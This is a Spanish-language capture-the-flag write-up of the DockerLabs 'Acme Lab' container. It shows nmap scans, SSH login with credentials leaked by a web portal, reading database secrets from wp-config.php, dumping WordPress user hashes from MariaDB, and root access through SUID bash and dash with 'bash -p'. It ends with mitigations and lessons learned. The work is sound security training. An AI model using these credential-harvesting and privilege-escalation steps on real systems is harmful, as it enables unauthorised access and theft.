Acme Lab
Estado: completado
Fecha: 01/10/2026
Plataforma: DockerLabs
Dificultad: Muy Fácil
Diploma de finalización
Alcance y objetivo
Objetivo autorizado:
172.17.0.2
Tipo de entorno: contenedor
Objetivo de aprendizaje: practicar reconocimiento de servicios, enumeración web, identificación de credenciales expuestas, enumeración local de Linux y escalada de privilegios mediante SUID.
El laboratorio se ejecutó dentro del entorno proporcionado por DockerLabs. Todas las pruebas fueron realizadas exclusivamente contra la máquina vulnerable del laboratorio.
Preparación del laboratorio
El laboratorio fue descargado desde DockerLabs:
Una vez descargado el archivo, se realizó la extracción mediante unzip.
Posteriormente se ejecutó el comando indicado por DockerLabs para levantar el entorno.
El propio contenedor indica que, al finalizar el laboratorio, se debe utilizar Ctrl+C para realizar la limpieza del entorno Docker, incluyendo el apagado y eliminación del contenedor y de la imagen.
Para comprobar posteriormente que no quedaron recursos relacionados con el laboratorio, se puede verificar el estado de Docker:
El objetivo vulnerable quedó disponible en:
172.17.0.2
Resumen ejecutivo
El reconocimiento inicial identificó los puertos SSH (22) y HTTP (80). La aplicación web expuso credenciales temporales directamente en el portal de mantenimiento, permitiendo obtener acceso SSH como usuario.
Durante la enumeración local se encontró una instalación de WordPress con credenciales de base de datos almacenadas en wp-config.php, lo que permitió acceder a MariaDB y consultar la base de datos de WordPress.
Finalmente, la enumeración de archivos SUID reveló que /usr/bin/bash y /usr/bin/dash tenían SUID configurado con propietario root, permitiendo obtener una shell con privilegios de root.
La cadena principal fue:
HTTP
↓
Credenciales expuestas
↓
SSH como usuario
↓
Enumeración local
↓
WordPress
↓
wp-config.php
↓
MariaDB
↓
Enumeración SUID
↓
bash -p
↓
root
Reconocimiento remoto
Escaneo completo de puertos
Se comenzó realizando un escaneo completo de puertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
El resultado mostró dos puertos TCP abiertos:
22/tcp open ssh
80/tcp open http
Enumeración de versiones
Posteriormente se realizó enumeración de versiones y scripts básicos sobre los puertos encontrados:
nmap -sCV -p 22,80 172.17.0.2
Resultado relevante:
PORT STATE SERVICE VERSION
22/tcp open ssh
OpenSSH 8.9p1 Ubuntu 3ubuntu0.16
80/tcp open http
Apache httpd 2.4.52 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/migration_notes.txt
|_http-title: ACME Corporation - Portal en Mantenimiento
Puertos identificados
| Puerto | Servicio | Evidencia | Próximo paso |
|---|---|---|---|
22/tcp | SSH | OpenSSH 8.9p1 | Revisar información disponible para acceso |
80/tcp | HTTP | Apache 2.4.52 / portal ACME | Enumerar aplicación web |
El puerto HTTP resultó especialmente interesante debido al título:
ACME Corporation - Portal en Mantenimiento
Además, Nmap detectó el archivo:
/migration_notes.txt
Enumeración web y exposición de credenciales
Se accedió mediante navegador al servicio HTTP:
http://172.17.0.2
La aplicación mostraba un portal de mantenimiento de ACME Corporation que hacía referencia al acceso mediante SSH al nodo bastión.
A partir de esta información, se procedió a probar el servicio SSH identificado anteriormente en el puerto 22.
Validación del acceso SSH
Inicialmente se comprobó el comportamiento utilizando un usuario arbitrario:
ssh randomuser@172.17.0.2
El acceso fue rechazado.
Posteriormente se utilizaron las credenciales observadas en el portal:
===================================================================
[*] ACME Corporation - Nodo Bastion de Mantenimiento Interno
[!] AVISO DE SEGURIDAD Y ACCESO:
[!] Portal corporativo en proceso de migracion a infraestructura interna.
[!] Credenciales temporales asignadas para tareas de mantenimiento:
[!] - Usuario: usuario
[!] - Password: P@ssw0rd2026_CTF!
===================================================================
📸 CAPTURA: portal o terminal mostrando las credenciales temporales expuestas
Se utilizó:
ssh usuario@172.17.0.2
Con la contraseña:
P@ssw0rd2026_CTF!
El acceso fue exitoso:
Welcome to Ubuntu 22.04.5 LTS
...
-bash-5.1$
Hallazgo
Vector: credenciales expuestas en el portal web.
Resultado: acceso SSH como usuario.
Impacto: un atacante con acceso al portal puede obtener credenciales válidas y utilizarlas directamente contra SSH.
Acceso inicial
Una vez obtenida la shell SSH se verificó el contexto del usuario:
whoami
id
hostname
Resultado:
usuario
uid=1000(usuario) gid=1000(usuario) groups=1000(usuario)
583acbd154c2
El usuario obtenido era un usuario estándar sin privilegios administrativos.
Flag de usuario
En el directorio inicial se encontró:
ls
Resultado:
user.txt
La flag fue obtenida mediante:
cat user.txt
Resultado:
FLAG{nmap_recon_ssh_foothold_7a9f24e1}
Enumeración local de Linux
Con acceso como usuario, comenzó la enumeración interna del sistema.
Red y servicios internos
Se ejecutó:
ss -tuln
Resultado:
tcp LISTEN 127.0.0.1:9000
tcp LISTEN 127.0.0.1:3306
tcp LISTEN 0.0.0.0:22
tcp LISTEN 0.0.0.0:80
tcp LISTEN 127.0.0.1:8080
Se identificaron los siguientes servicios:
| Dirección | Puerto | Observación |
|---|---|---|
0.0.0.0 | 22 | SSH |
0.0.0.0 | 80 | HTTP |
127.0.0.1 | 3306 | MariaDB/MySQL |
127.0.0.1 | 8080 | Servicio HTTP interno |
127.0.0.1 | 9000 | Servicio interno no investigado |
El puerto 3306 era especialmente relevante porque únicamente estaba expuesto en localhost, por lo que no era accesible directamente desde el exterior, pero sí podía investigarse desde la shell obtenida.
Enumeración de WordPress
Se exploró la estructura de /var:
cd /var
ls
Se encontró:
backups
cache
lib
local
lock
log
mail
opt
run
spool
tmp
www
Dentro de /var/www:
cd /var/www
ls
se encontraron:
html
maintenance
wordpress
La carpeta wordpress contenía una instalación completa de WordPress:
index.php
wp-admin
wp-content
wp-includes
wp-config.php
wp-login.php
xmlrpc.php
...
Credenciales de base de datos
Se inspeccionó:
vim /var/www/wordpress/wp-config.php
Entre la información relevante se encontraron:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'wp_secure_pass_2026' );
define( 'DB_HOST', '127.0.0.1' );
El archivo también contenía las claves y salts de WordPress, además de una configuración que permitía modificaciones de archivos:
define( 'FS_METHOD', 'direct' );
define( 'DISALLOW_FILE_EDIT', false );
define( 'DISALLOW_FILE_MODS', false );
La exposición de las credenciales de la base de datos permitió acceder directamente al servicio MariaDB desde la máquina comprometida.
Compromiso de la base de datos
Se utilizó:
mysql -h localhost -u wp_user -pwp_secure_pass_2026
El acceso fue exitoso:
Welcome to the MariaDB monitor.
Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1
Se enumeraron las bases de datos:
show databases;
Resultado:
information_schema
wordpress
Se seleccionó la base de datos:
use wordpress;
Y se enumeraron sus tablas:
show tables;
Entre ellas se encontraba:
wp_users
wp_usermeta
wp_posts
wp_options
...
Finalmente se consultó la tabla de usuarios:
select * from wp_users;
Se identificó el usuario:
acme_admin
junto con su hash de contraseña.
Hallazgo
Vector: credenciales de base de datos almacenadas en texto plano dentro de wp-config.php.
Resultado: acceso a MariaDB y lectura de la base de datos de WordPress.
Impacto: compromiso de la información almacenada en WordPress, incluyendo usuarios y hashes de contraseñas.
Enumeración de permisos y posibles vectores de escalada
Después de obtener acceso como usuario, se realizó una búsqueda de archivos con SUID:
find / -type f -perm -4000 -ls 2>/dev/null
Entre los resultados aparecieron:
-rwsr-xr-x 1 root root ... /usr/bin/bash
-rwsr-xr-x 1 root root ... /usr/bin/dash
También aparecieron otros binarios SUID habituales:
/usr/bin/umount
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
Los binarios relevantes para este laboratorio fueron:
/usr/bin/bash
/usr/bin/dash
¿Qué es SUID?
SUID (Set User ID) es un bit especial de permisos de Linux que hace que un ejecutable se ejecute con el UID efectivo de su propietario, en lugar de utilizar necesariamente los privilegios del usuario que lo ejecuta.
En este caso:
-rwsr-xr-x 1 root root ... /usr/bin/bash
La s que aparece en:
rws
^
indica que el bit SUID está activo.
Como el propietario del archivo es root, la situación es:
usuario normal
│
│ ejecuta
▼
/usr/bin/bash
│
│ SUID
▼
EUID = root
Esto es especialmente peligroso cuando el binario con SUID es una shell. Una shell normalmente permite ejecutar otros comandos, por lo que un SUID sobre bash o dash puede convertirse directamente en una escalada de privilegios.
Los bits especiales más habituales son:
4000 → SUID
2000 → SGID
1000 → Sticky Bit
En un entorno real, encontrar un binario SUID no significa automáticamente que sea vulnerable. Es necesario analizar qué programa es, quién lo posee, cómo funciona y qué acciones permite realizar con sus privilegios.
En este laboratorio, sin embargo, bash y dash estaban configurados explícitamente con SUID y pertenecían a root.
Escalada de privilegios
Se validó la posibilidad de ejecutar Bash conservando los privilegios efectivos del propietario mediante:
bash -p
La opción -p indica a Bash que mantenga los privilegios efectivos en lugar de realizar determinadas acciones destinadas a reducir privilegios en situaciones de ejecución privilegiada.
El resultado fue:
-bash-5.1$ bash -p
bash-5.1# whoami
root
También se validó utilizando dash:
dash -p
Resultado:
# whoami
root
Por lo tanto, la escalada fue confirmada.
Condición vulnerable
/usr/bin/bash
/usr/bin/dash
ambos tenían:
-rwsr-xr-x
y pertenecían a:
root:root
Validación
bash -p
whoami
Resultado:
root
También:
dash -p
whoami
Resultado:
root
Resultado final
Se obtuvo una shell con privilegios de:
root
Evidencias y flags
Flag de usuario
FLAG{nmap_recon_ssh_foothold_7a9f24e1}
Flag de root
Desde la shell privilegiada se accedió a /root:
cd /root
ls
Se encontraron:
patch_wp_vulnerable.php
root.txt
La flag se obtuvo mediante:
cat root.txt
Resultado:
FLAG{wp2shell_cve_2026_63030_core_rce_root_99d10c8b}
Cadena completa de ataque
El recorrido realizado puede resumirse de la siguiente manera:
172.17.0.2
│
▼
Nmap
│
├── 22/tcp → SSH
│
└── 80/tcp → Apache
│
▼
Portal ACME
│
▼
Credenciales expuestas
│
▼
SSH como usuario
│
▼
user.txt
│
▼
Enumeración local Linux
│
▼
/var/www/wordpress
│
▼
wp-config.php
│
▼
Credenciales MariaDB
│
▼
Acceso a base de datos
│
▼
Enumeración wp_users
│
▼
Enumeración SUID
│
▼
/usr/bin/bash + SUID root
/usr/bin/dash + SUID root
│
▼
bash -p / dash -p
│
▼
root
│
▼
/root/root.txt
Mitigación y aprendizajes
Mitigación
Las principales medidas de mitigación serían:
- No exponer credenciales directamente en aplicaciones web accesibles.
- No reutilizar credenciales temporales para otros servicios.
- Evitar almacenar secretos directamente en archivos de configuración cuando sea posible; utilizar mecanismos apropiados de gestión de secretos.
- Restringir los permisos de lectura de
wp-config.php. - Revisar periódicamente los archivos SUID del sistema.
- No otorgar SUID a shells como
bashodash. - Eliminar bits SUID innecesarios.
- Revisar los servicios internos que escuchan en
localhost. - Proteger las bases de datos mediante autenticación y permisos mínimos.
- Mantener WordPress y sus componentes actualizados.
- Aplicar el principio de mínimo privilegio a usuarios y servicios.
Aprendizajes
- Un escaneo completo de puertos permite descubrir servicios que no aparecen en un escaneo limitado.
- La enumeración web puede revelar información mucho más importante que la tecnología utilizada por el servidor.
- Las credenciales expuestas en una aplicación pueden proporcionar directamente un punto de entrada mediante SSH.
- Una vez obtenido acceso a Linux,
ss -tulnpermite identificar servicios internos que no estaban expuestos externamente. - Los archivos de configuración son una fuente importante de secretos durante la enumeración local.
wp-config.phppuede contener credenciales de base de datos y otros secretos sensibles.- La enumeración de SUID es una comprobación fundamental durante una evaluación de privilegios en Linux.
- Un binario SUID propiedad de
rootdebe analizarse cuidadosamente, especialmente si se trata de una shell. bash -pydash -ppermiten conservar los privilegios efectivos de una ejecución privilegiada cuando la configuración del binario lo permite.- La escalada de privilegios debe validarse mediante
whoami,idu otros mecanismos equivalentes antes de considerar completado el objetivo.